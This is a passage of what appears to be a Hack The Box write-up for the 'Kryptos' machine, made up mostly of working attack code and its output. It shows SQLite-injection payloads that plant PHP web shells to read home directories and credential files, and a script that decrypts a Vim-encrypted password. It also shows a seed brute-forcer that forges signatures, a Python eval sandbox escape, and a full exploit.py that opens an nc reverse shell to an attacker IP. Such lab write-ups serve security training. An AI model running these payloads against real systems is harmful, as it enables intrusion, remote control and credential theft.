Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test.php' AS test;CREATE TABLE test.pwn (dataz text);INSERT INTO test.pwn (dataz) VALUES ('<?php phpinfo(); ?>');
</body>
</html>

Then I requested :

http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/test.php

and got the phpinfo page. It’s a very long page, I opened it in firefox and here’s the disabled functions part :


Almost any function that can get us code execution is disabled, but scandir() and file_get_contents() aren’t disabled, I wrote a php file that takes file and dir parameters to read a file or list a directory.

<?php print_r(scandir("$_GET[dir]")); print_r(file_get_contents("$_GET[file]")); ?>
[?] URL : http://127.0.0.1/dev/sqlite_test_page.php?no_results=FALSE&bookid=%31%3b%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%27%64%39%65%32%38%61%66%63%66%30%62%32%37%34%61%35%65%30%35%34%32%61%62%62%36%37%64%62%30%37%38%34%2f%72%69%63%6b%2e%70%68%70%27%20%41%53%20%72%69%63%6b%3b%43%52%45%41%54%45%20%54%41%42%4c%45%20%72%69%63%6b%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%49%4e%53%45%52%54%20%49%4e%54%4f%20%72%69%63%6b%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%20%28%27%3c%3f%70%68%70%20%70%72%69%6e%74%5f%72%28%73%63%61%6e%64%69%72%28%22%24%5f%47%45%54%5b%64%69%72%5d%22%29%29%3b%20%70%72%69%6e%74%5f%72%28%66%69%6c%65%5f%67%65%74%5f%63%6f%6e%74%65%6e%74%73%28%22%24%5f%47%45%54%5b%66%69%6c%65%5d%22%29%29%3b%20%3f%3e%27%29%3b                                                                                
[*] Result :
<html>
<head></head>
<body>
Opened database successfully
Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/rick.php' AS rick;CREATE TABLE rick.pwn (dataz text);INSERT INTO rick.pwn (dataz) VALUES ('<?php print_r(scandir("$_GET[dir]")); print_r(file_get_contents("$_GET[file]")); ?>');
</body>
</html>

Let’s test :

[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rick.php?dir=./
[*] Result :
V3ArraypwnpwnCREATE TABLE pwn (dataz text)
(
    [0] => .
    [1] => ..
    [2] => books.db
    [3] => rick.php
    [4] => test.php
)
[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rick.php?file=./rick.php
[*] Result :
V3<?php print_r(scandir("$_GET[dir]")); print_r(file_get_contents("$_GET[file]")); ?>

It’s working fine, but as you can see it prints some weird characters which i guess are caused by the sqlite query.
In /home there was a directory for a user called rijndael :

[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rick.php?dir=/home
[*] Result :
V3ArraypwnpwnCREATE TABLE pwn (dataz text)
(
    [0] => .
    [1] => ..
    [2] => rijndael
)
[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rick.php?dir=/home/rijndael
[*] Result :
V3ArraypwnpwnCREATE TABLE pwn (dataz text)
(
    [0] => .
    [1] => ..
    [2] => .bash_history
    [3] => .bash_logout
    [4] => .bashrc
    [5] => .cache
    [6] => .gnupg
    [7] => .profile
    [8] => .ssh
    [9] => creds.old
    [10] => creds.txt
    [11] => kryptos
    [12] => user.txt
)

I couldn’t read user.txt or go to the ssh directory, but I could read creds.txt and creds.old :

[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rick.php?file=/home/rijndael/creds.old
[*] Result :
V3rijndael / Password1BLE pwn (dataz text)
[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rick.php?file=/home/rijndael/creds.txt
[*] Result :
V3VimCrypt~02!REATE TABLE pwn (dataz text)
vnd]KyYC}56gMRAn[?] URL : 

I copied both of these files from my directory (ssrf) :

root@kali:~/Desktop/HTB/boxes/kryptos# cp ssrf/OUTPUT_19 ./creds.old
root@kali:~/Desktop/HTB/boxes/kryptos# cp ssrf/OUTPUT_20 ./creds.txt
root@kali:~/Desktop/HTB/boxes/kryptos# cat creds.old
V3rijndael / Password1BLE pwn (dataz text)
root@kali:~/Desktop/HTB/boxes/kryptos# cat creds.txt
V3VimCrypt~02!REATE TABLE pwn (dataz text)
vnd]KyYC}56gMRAn

But because of that weird characters thing the files were partially damaged, so I wrote another php file to print the base-64 encoded value of the file between a bunch of newlines :

<?php echo "\n\n\n\n\n"; echo base64_encode(file_get_contents("$_GET[file]")); echo "\n\n\n\n\n" ?>
[?] URL : http://127.0.0.1/dev/sqlite_test_page.php?no_results=FALSE&bookid=%31%3b%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%27%64%39%65%32%38%61%66%63%66%30%62%32%37%34%61%35%65%30%35%34%32%61%62%62%36%37%64%62%30%37%38%34%2f%72%69%63%6b%32%2e%70%68%70%27%20%41%53%20%72%69%63%6b%3b%43%52%45%41%54%45%20%54%41%42%4c%45%20%72%69%63%6b%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%49%4e%53%45%52%54%20%49%4e%54%4f%20%72%69%63%6b%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%20%28%27%3c%3f%70%68%70%20%65%63%68%6f%20%22%5c%6e%5c%6e%5c%6e%5c%6e%5c%6e%22%3b%20%65%63%68%6f%20%62%61%73%65%36%34%5f%65%6e%63%6f%64%65%28%66%69%6c%65%5f%67%65%74%5f%63%6f%6e%74%65%6e%74%73%28%22%24%5f%47%45%54%5b%66%69%6c%65%5d%22%29%29%3b%20%65%63%68%6f%20%22%5c%6e%5c%6e%5c%6e%5c%6e%5c%6e%22%20%3f%3e%27%29%3b                             
[*] Result :
<html>
<head></head>
<body>
Opened database successfully
Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/rick2.php' AS rick;CREATE TABLE rick.pwn (dataz text);INSERT INTO rick.pwn (dataz) VALUES ('<?php echo "\n\n\n\n\n"; echo base64_encode(file_get_contents("$_GET[file]")); echo "\n\n\n\n\n" ?>');
</body>
</html>
[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rick2.php?file=/home/rijndael/creds.txt
[*] Result :
fStablepwnpwnCREATE TABLE pwn (dataz text)




VmltQ3J5cHR+MDIhCxjkNctWEpo1RIBAcDuWLZMNqBB2bmRdwUviHHlZQ33ZNfs2Z01SQYtu




[?] URL : 

root@kali:~/Desktop/HTB/boxes/kryptos# echo VmltQ3J5cHR+MDIhCxjkNctWEpo1RIBAcDuWLZMNqBB2bmRdwUviHHlZQ33ZNfs2Z01SQYtu | base64 -d > creds.txt 
root@kali:~/Desktop/HTB/boxes/kryptos# cat creds.txt 
VimCrypt~02!
vnd]KyYC}56gMRAnroot@kali:~/Desktop/HTB/boxes/kryptos# file creds.txt 
creds.txt: Vim encrypted file data
root@kali:~/Desktop/HTB/boxes/kryptos# 

Decrypting the Credentials, User Flag

The old credentials : rijndael / Password1 didn’t work with ssh.
And the new credentials are encrypted :

kali:~/Desktop/HTB/boxes/kryptos# file creds.txt 
creds.txt: Vim encrypted file data

I searched about how vim encrypts files and if there were any known vulnerabilities. I found this article which was talking about a weakness in this encryption system.
I won’t repeat what was said in the article but these are the important parts :

The Vim editor has two modes of encryption. The old pkzip based system (which is broken, but still the default for compatiblity reasons) and the new (as of Vim 7.3) blowfish based system.

Blowfish is a block cipher, this means it encrypts a block of data at a time. There is no state kept between blocks, this is important to understand; it means the same input will result in the same output (if the key is the same).

the issue is that Vim actually ends up using the same IV for the first 8 blocks (essentially repeating the first part of the diagram 8 times, then going on to the next operation that mixes in the output). So the result is something like CFB but with the first 64 bytes lacking any protection.

The way CFB works is to compute a stream of data (the keystream), then XOR it with the plaintext. However Vim is reusing the keystream, in pseudocode:

keystream = Blowfish(iv)
ciphertext1 = XOR(keystream, plaintext[0:7])
ciphertext2 = XOR(keystream, plaintext[8:15])

This means by a simple relationship we can recover the keystream:

keystream = XOR(ciphertext1, plaintext[0:7])

With this information I started testing some stuff. We have creds.old :

rijndael / Password1

As you can see rijndael which is the username might be also present in the encrypted file as the first 8 bytes. So I tried using rijndael as the known plaintext.
In python I opened the file for reading :

>>> with open("./creds.txt","rb") as f:

We don’t need the first 28 bytes : 12 bytes for the header (VimCrypt~02!) + 8 bytes for the salt + 8 bytes for the IV. So I stored them in a variable that I won’t use :

...     temp = f.read(28)

Then we have about 4 blocks left (each block 8 bytes) :

root@kali:~/Desktop/HTB/boxes/kryptos# xxd creds.txt
00000000: 5669 6d43 7279 7074 7e30 3221 0b18 e435  VimCrypt~02!...5
00000010: cb56 129a 3544 8040 703b 962d 930d a810  .V..5D.@p;.-....
00000020: 766e 645d c14b e21c 7959 437d d935 fb36  vnd].K..yYC}.5.6
00000030: 674d 5241 8b6e                           gMRA.n

So I read them :

...     block1 = f.read(8)
...     block2 = f.read(8)
...     block3 = f.read(8)
...     block4 = f.read(8)
...     f.close()

I used the same relation from the article to get the key :

keystream = XOR(ciphertext1, plaintext[0:7])

I XORed the plaintext (rijndael) with the first block :

>>> key = ''.join(chr(ord(a)^ord(b)) for a, b in zip(block1, 'rijndael')) 

Then I tried to decode the first 2 blocks with the retrieved key and it worked successfully :

>>> print ''.join(chr(ord(a)^ord(b)) for a, b in zip(block1, key))
rijndael
>>> print ''.join(chr(ord(a)^ord(b)) for a, b in zip(block2, key))
/ bkVBL
>>>

After my testing was successful I wrote this script which does it automatically : vim-decrypt.py :

#!/usr/bin/python
import sys

if len(sys.argv) != 3:
	print "[-] Usage: {} <encrypted file> <plaintext> ".format(sys.argv[0])
	exit()

file = sys.argv[1]
plaintext = sys.argv[2]

def xor(string,key):
	return ''.join(chr(ord(a)^ord(b)) for a, b in zip(string, key))

with open(file,"rb") as f:
	
	temp = f.read(28)

	block1 = f.read(8)
	block2 = f.read(8)
	block3 = f.read(8)
	block4 = f.read(8)
	
	f.close()

key = xor(block1, plaintext)

final = ""
final += xor(block1, key)
final += xor(block2, key)
final += xor(block3, key)
final += xor(block4, key)

print "[+] Decrypted: \n"
print final

I got the credentials :

root@kali:~/Desktop/HTB/boxes/kryptos# ./vim-decrypt.py ./creds.txt rijndael
[+] Decrypted: 

rijndael / bkVBL8Q9HuBSpj

root@kali:~/Desktop/HTB/boxes/kryptos# 

Then I could ssh into the box as rijndael :


We owned user.

kryptos.py: Analysis

In the home directory of rijndael there was a directory called kryptos which had a python script called kryptos.py :

rijndael@kryptos:~$ ls -la
total 48
drwxr-xr-x 6 rijndael rijndael 4096 Mar 13  2019 .
drwxr-xr-x 3 root     root     4096 Oct 30  2018 ..
lrwxrwxrwx 1 root     root        9 Oct 31  2018 .bash_history -> /dev/null
-rw-r--r-- 1 root     root      220 Oct 30  2018 .bash_logout
-rw-r--r-- 1 root     root     3771 Oct 30  2018 .bashrc
drwx------ 2 rijndael rijndael 4096 Mar 13  2019 .cache
-rw-rw-r-- 1 root     root       21 Oct 30  2018 creds.old
-rw-rw-r-- 1 root     root       54 Oct 30  2018 creds.txt
drwx------ 3 rijndael rijndael 4096 Mar 13  2019 .gnupg
drwx------ 2 rijndael rijndael 4096 Mar 13  2019 kryptos
-rw-r--r-- 1 root     root      807 Oct 30  2018 .profile
drwx------ 2 rijndael rijndael 4096 Oct 31  2018 .ssh
-r-------- 1 rijndael rijndael   33 Oct 30  2018 user.txt
rijndael@kryptos:~$ cd kryptos/
rijndael@kryptos:~/kryptos$ ls -la
total 12
drwx------ 2 rijndael rijndael 4096 Mar 13  2019 .
drwxr-xr-x 6 rijndael rijndael 4096 Mar 13  2019 ..
-r-------- 1 rijndael rijndael 2257 Mar 13  2019 kryptos.py
rijndael@kryptos:~/kryptos$ 

I downloaded the script on my machine :

root@kali:~/Desktop/HTB/boxes/kryptos# scp rijndael@kryptos.htb:/home/rijndael/kryptos/kryptos.py ./
rijndael@kryptos.htb's password: 
kryptos.py                                                                                                                                                                       100% 2257     6.8KB/s   00:00    
root@kali:~/Desktop/HTB/boxes/kryptos# 

kryptos.py :

import random 
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp


def secure_rng(seed): 
    # Taken from the internet - probably secure
    p = 2147483647
    g = 2255412

    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

# Set up the keys
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()

def verify(msg, sig):
    try:
        return vk.verify(binascii.unhexlify(sig), msg)
    except:
        return False

def sign(msg):
    return binascii.hexlify(sk.sign(msg))

@route('/', method='GET')
def web_root():
    response = {'response':
                {
                    'Application': 'Kryptos Test Web Server',
                    'Status': 'running'
                }
                }
    return json.dumps(response, sort_keys=True, indent=2)

@route('/eval', method='POST')
def evaluate():
    try: 
        req_data = request.json
        expr = req_data['expr']
        sig = req_data['sig']
        # Only signed expressions will be evaluated
        if not verify(str.encode(expr), str.encode(sig)):
            return "Bad signature"
        result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe
        response = {'response':
                    {
                        'Expression': expr,
                        'Result': str(result) 
                    }
                    }
        return json.dumps(response, sort_keys=True, indent=2)
    except:
        return "Error"

# Generate a sample expression and signature for debugging purposes
@route('/debug', method='GET')
def debug():
    expr = '2+2'
    sig = sign(str.encode(expr))
    response = {'response':
                {
                    'Expression': expr,
                    'Signature': sig.decode() 
                }
                }
    return json.dumps(response, sort_keys=True, indent=2)

run(host='127.0.0.1', port=81, reloader=True)

First thing I noticed was that It’s a server which runs on localhost on port 81 :

run(host='127.0.0.1', port=81, reloader=True)

I checked the listening ports on the box and the server was running :

rijndael@kryptos:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:81            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
rijndael@kryptos:~$ 

There’s a route called /eval which accepts POST requests in json and evaluates whatever is in expr, However there are two problems, first one is that it only evaluates signed expressions, second one is that even if we could bypass that protection we can’t execute something useful because builtins are disabled :

@route('/eval', method='POST')
def evaluate():
    try: 
        req_data = request.json
        expr = req_data['expr']
        sig = req_data['sig']
        # Only signed expressions will be evaluated
        if not verify(str.encode(expr), str.encode(sig)):
            return "Bad signature"
        result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe
        response = {'response':
                    {
                        'Expression': expr,
                        'Result': str(result) 
                    }
                    }
        return json.dumps(response, sort_keys=True, indent=2)
    except:
        return "Error"

Let’s take a look at the keys and the secure random number generator function (secure_rng) :

def secure_rng(seed): 
    # Taken from the internet - probably secure
    p = 2147483647
    g = 2255412

    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

# Set up the keys
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()

I noticed this comment :

# Taken from the internet - probably secure

I took the rng function from the script and wrote a script to test how random is it : test.py :

#!/usr/bin/python
import random 
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp

def secure_rng(seed): 
    p = 2147483647
    g = 2255412
    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

for i in range(15):
    seed = random.getrandbits(128) 
    rand = secure_rng(seed) + 1 
    print rand

I set the range to 15 to print 15 samples :

root@kali:~/Desktop/HTB/boxes/kryptos# ./test.py 
7470457370149431962811031290883090829243224817138100905771457032768589009029
8
14940914740298863925622062581766181658486449634276201811542914065537178018057
2
3735228685074715981405515645441545414621612408569050452885728516384294504515
7470457370149431962811031290883090829243224817138100905771457032768594247974
1
59763658961195455702488250327064726633945798537104807246171656262148712072266
18
14940914740298863925622062581766181658486449634276201811542914065537178345497
1
7470457370149431962811031290883090829243224817138100905771457032768589172749
29881829480597727851244125163532363316972899268552403623085828131074356036133
12
396

As you can see, it’s not that “random”

kryptos.py: Bruteforcing the Seed

Knowing that the random number generator is not random enough, It’s possible to bruteforce the seed.
I tunneled port 81 to my box :

root@kali:~/Desktop/HTB/boxes/kryptos# ssh -L 81:127.0.0.1:81 rijndael@kryptos.htb
rijndael@kryptos.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Sep 19 22:10:59 2019 from 10.10.xx.xx
rijndael@kryptos:~$ 

Then I wanted to test the server response :

root@kali:~/Desktop/HTB/boxes/kryptos# curl -X POST http://127.0.0.1:81/eval -H 'Content-Type: application/json' -d '{"expr": "1+1", "sig": "123"}'
Bad signature

I wrote a script to bruteforce the seed : brute.py :

#!/usr/bin/python
import random 
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp
import requests

def secure_rng(seed): 
    p = 2147483647
    g = 2255412
    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

def sign(msg):
    return binascii.hexlify(sk.sign(msg))

num = 1
YELLOW = "\033[93m"
GREEN = "\033[32m"

for i in range(10000):
    expr = "1+1"
    seed = random.getrandbits(128) 
    rand = secure_rng(seed) + 1 
    sk = SigningKey.from_secret_exponent(rand, curve=NIST384p) 
    vk = sk.get_verifying_key() 
    sig = sign(expr) 
    
    req = requests.post('http://127.0.0.1:81/eval', json={'expr': expr, 'sig': sig})
    response = req.text
    if response == "Bad signature":
        print YELLOW + "[-] Attempt " + str(num) + ": failed"
        num += 1
    else:
        print GREEN + "[+] Found the seed: " + str(seed)
        exit()

The script sends a simple expression : 1+1 and uses the functions from kryptos.py to sign it, every attempt the server responds with Bad signature it regenerates the signing key and tries again.
It could find the right seed after 2 attempts, however sometimes it takes between 30-40 attempts and sometimes it takes more than 100 attempts.

root@kali:~/Desktop/HTB/boxes/kryptos# ./brute.py
[-] Attempt 1: failed
[-] Attempt 2: failed
[+] Found the seed: 78272723826101975912150018057949619293

I wrote this script to sign and evaluate expressions depending on the given seed : eval.py

#!/usr/bin/python
import random 
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp
import requests
import sys

def secure_rng(seed): 
    p = 2147483647
    g = 2255412
    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

def sign(sk,msg):
    return binascii.hexlify(sk.sign(msg))

def eval(seed,expr): 
	rand = secure_rng(seed) + 1 
	sk = SigningKey.from_secret_exponent(rand, curve=NIST384p) 
	vk = sk.get_verifying_key() 
	sig = sign(sk,expr)
	req = requests.post('http://127.0.0.1:81/eval', json={'expr': expr, 'sig': sig})
	response = req.text
	print response

if len(sys.argv) != 3 :
	print "Usage: {} <seed> <expression>".format(sys.argv[0])
	exit()
else:
	seed = int(sys.argv[1])
	expr = sys.argv[2]
	eval(seed,expr)

Let’s try the seed we got :

root@kali:~/Desktop/HTB/boxes/kryptos# ./eval.py 78272723826101975912150018057949619293 1+1
{
  "response": {
    "Expression": "1+1",
    "Result": "2"
  }
}

It worked.

kryptos.py: Exploitation, Root Flag

We still have the problem of disabled builtins, as you can see we can’t do anything :

root@kali:~/Desktop/HTB/boxes/kryptos# ./eval.py 78272723826101975912150018057949619293 'import os;os.system("whoami")'
Error

xct had a bypass for that on his blog :

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

I gave it a try and it worked :

root@kali:~/Desktop/HTB/boxes/kryptos# ./eval.py 78272723826101975912150018057949619293 "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('curl http://10.10.xx.xx/')"                                                                                                                                                             
{
  "response": {
    "Expression": "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('curl http://10.10.xx.xx/')",               
    "Result": "0"
  }
}




Now that we have RCE, I wrapped it all up in one exploit : exploit.py

#!/usr/bin/python
import random 
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp
import requests
import sys

YELLOW = "\033[93m"
GREEN = "\033[32m"

def secure_rng(seed): 
    p = 2147483647
    g = 2255412
    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

def sign(sk,msg):
    return binascii.hexlify(sk.sign(msg))

def brute():
    num = 1
    for i in range(10000):
        expr = "1+1"
        seed = random.getrandbits(128) 
        rand = secure_rng(seed) + 1 
        sk = SigningKey.from_secret_exponent(rand, curve=NIST384p) 
        vk = sk.get_verifying_key() 
        sig = sign(sk,expr)
        req = requests.post('http://127.0.0.1:81/eval', json={'expr': expr, 'sig': sig})
        response = req.text
        if response == "Bad signature":
            print YELLOW + "[-] Attempt " + str(num) + ": failed"
            num += 1
        else:
            print GREEN + "[+] Found the seed: " + str(seed)
            return seed
            break

def exploit(seed,expr):
    rand = secure_rng(seed) + 1 
    sk = SigningKey.from_secret_exponent(rand, curve=NIST384p) 
    vk = sk.get_verifying_key() 
    sig = sign(sk,expr)
    requests.post('http://127.0.0.1:81/eval', json={'expr': expr, 'sig': sig})

if len(sys.argv) != 4:
    print YELLOW + "[-] Usage: {} <seed> <ip> <port> | Or to bruteforce the seed: {} -b <ip> <port>".format(sys.argv[0],sys.argv[0])
    exit()
else:
    if sys.argv[1] == "-b":
        ip = sys.argv[2]
        port = sys.argv[3]
        print YELLOW + "[*] Bruteforcing the seed."
        seed = brute()
        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + ip + " " + str(port) + " >/tmp/f"
        expr = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == \'Pattern\'][0].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'" + payload + "\')"
        print YELLOW + "[*] Executing payload, check your listener."
        exploit(seed,expr)
    else:
        seed = int(sys.argv[1])
        ip = sys.argv[2]
        port = sys.argv[3]
        print YELLOW + "[*] Seed: " + str(seed)
        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + ip + " " + str(port) + " >/tmp/f"
        expr = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == \'Pattern\'][0].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'" + payload + "\')"
        print YELLOW + "[*] Executing payload, check your listener."
        exploit(seed,expr)

It takes the ip, port and whether bruteforces the seed or takes the seed as an argument then it spawns a reverse shell.




And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Luke
Next Hack The Box write-up : Hack The Box - Swagshop

Updated: